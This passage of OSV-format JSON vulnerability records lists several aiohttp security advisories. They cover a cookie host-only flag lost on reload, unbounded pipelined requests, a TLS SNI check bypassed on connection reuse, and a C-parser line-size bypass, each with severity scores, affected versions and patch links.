"0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - "2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - "3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.14.0", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/aiohttp/PYSEC-2026-237.yaml" - } - } - ], - "references": [ - { - "type": "ADVISORY", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4m7w-qmgq-4wj5" - } - ] - }, - { - "modified": "2026-06-17T00:59:23Z", - "published": "2026-06-15T20:08:51Z", - "schema_version": "1.7.5", - "id": "GHSA-2fqr-mr3j-6wp8", - "aliases": [ - "CVE-2026-54279" - ], - "related": [ - "CGA-83mv-gw9x-g6wr" - ], - "summary": "aiohttp: Host-Only Cookies Become Domain Cookies After CookieJar Persistence", - "details": "### Summary\n\nHost-only cookies that are saved with ``CookieJar.save()`` and then restored later with ``CookieJar.load()`` lose their host-only status.\n\n### Impact\n\nHost-only cookies that have been loaded from disk may get sent to subdomains that previously should have been disallowed.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a329a7aacad5284f087af36103aff778746da0f2", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:U" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.1" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - "0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - "2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - "3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.14.0", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.14.0", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-2fqr-mr3j-6wp8/GHSA-2fqr-mr3j-6wp8.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2fqr-mr3j-6wp8" - }, - { - "type": "PACKAGE", - "url": "https://github.com/aio-libs/aiohttp" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-665" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-15T20:08:51Z", - "nvd_published_at": null, - "severity": "LOW" - } - }, - { - "modified": "2026-06-17T04:59:18Z", - "published": "2026-06-15T20:10:32Z", - "schema_version": "1.7.5", - "id": "GHSA-4fvr-rgm6-gqmc", - "aliases": [ - "CVE-2026-54273" - ], - "related": [ - "CGA-jxc8-hf9c-q8r6" - ], - "summary": "aiohttp: HTTP/1 Pipelined Requests Queue Without Limit", - "details": "### Summary\n\nNo limit was present on the number of pipelined requests that could be queued.\n\n### Impact\n\nAn attacker may be able to use pipelined requests to use excessive amounts of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.1" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - "0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - "2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - "3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.14.0", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.14.0", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-4fvr-rgm6-gqmc/GHSA-4fvr-rgm6-gqmc.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4fvr-rgm6-gqmc" - }, - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf" - }, - { - "type": "PACKAGE", - "url": "https://github.com/aio-libs/aiohttp" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-770" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-15T20:10:32Z", - "nvd_published_at": null, - "severity": "MODERATE" - } - }, - { - "modified": "2026-06-27T11:26:29Z", - "published": "2026-06-15T20:11:13Z", - "schema_version": "1.7.5", - "id": "GHSA-4m7w-qmgq-4wj5", - "aliases": [ - "CVE-2026-54275", - "PYSEC-2026-237" - ], - "related": [ - "CGA-7rc4-cr5c-mxf4" - ], - "summary": "aiohttp: TLS Server Hostname Override Is Ignored When Reusing HTTPS Connections", - "details": "### Summary\n\nThe `server_hostname` TLS SNI check can be bypassed when an existing connection is reused.\n\n### Impact\n\nIf an application makes multiple requests to the same domain, but with different per-request `server_hostname` parameters, then the later calls may succeed by reusing the existing connection when they should have been rejected due to the TLS SNI check.\n\n### Workaround\n\nDisable keep_alive if you need to change the `server_hostname` check between requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ca2b6c28a25726527a8b60f25960262a91ed0e0", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.1" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - "0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - "2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - "3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.14.0", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.14.0", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-4m7w-qmgq-4wj5/GHSA-4m7w-qmgq-4wj5.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4m7w-qmgq-4wj5" - }, - { - "type": "PACKAGE", - "url": "https://github.com/aio-libs/aiohttp" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-297" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-15T20:11:13Z", - "nvd_published_at": null, - "severity": "LOW" - } - }, - { - "modified": "2026-06-16T18:59:14Z", - "published": "2026-06-15T20:09:16Z", - "schema_version": "1.7.5", - "id": "GHSA-63hw-fmq6-xxg2", - "aliases": [ - "CVE-2026-54277" - ], - "related": [ - "CGA-3j3w-43wh-4c9q" - ], - "summary": "aiohttp: C HTTP Parser Bypasses max_line_size for Fragmented Lines", - "details": "### Summary\n\nIt is possible to bypass the max_line_size check in parts of an HTTP request in the C parser.\n\n### Impact\n\nIf using the optimised C parser (the default in pre-built wheels), then an attacker may be able to send oversized lines through the HTTP parser and use an excessive amount of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.1" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - "0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - 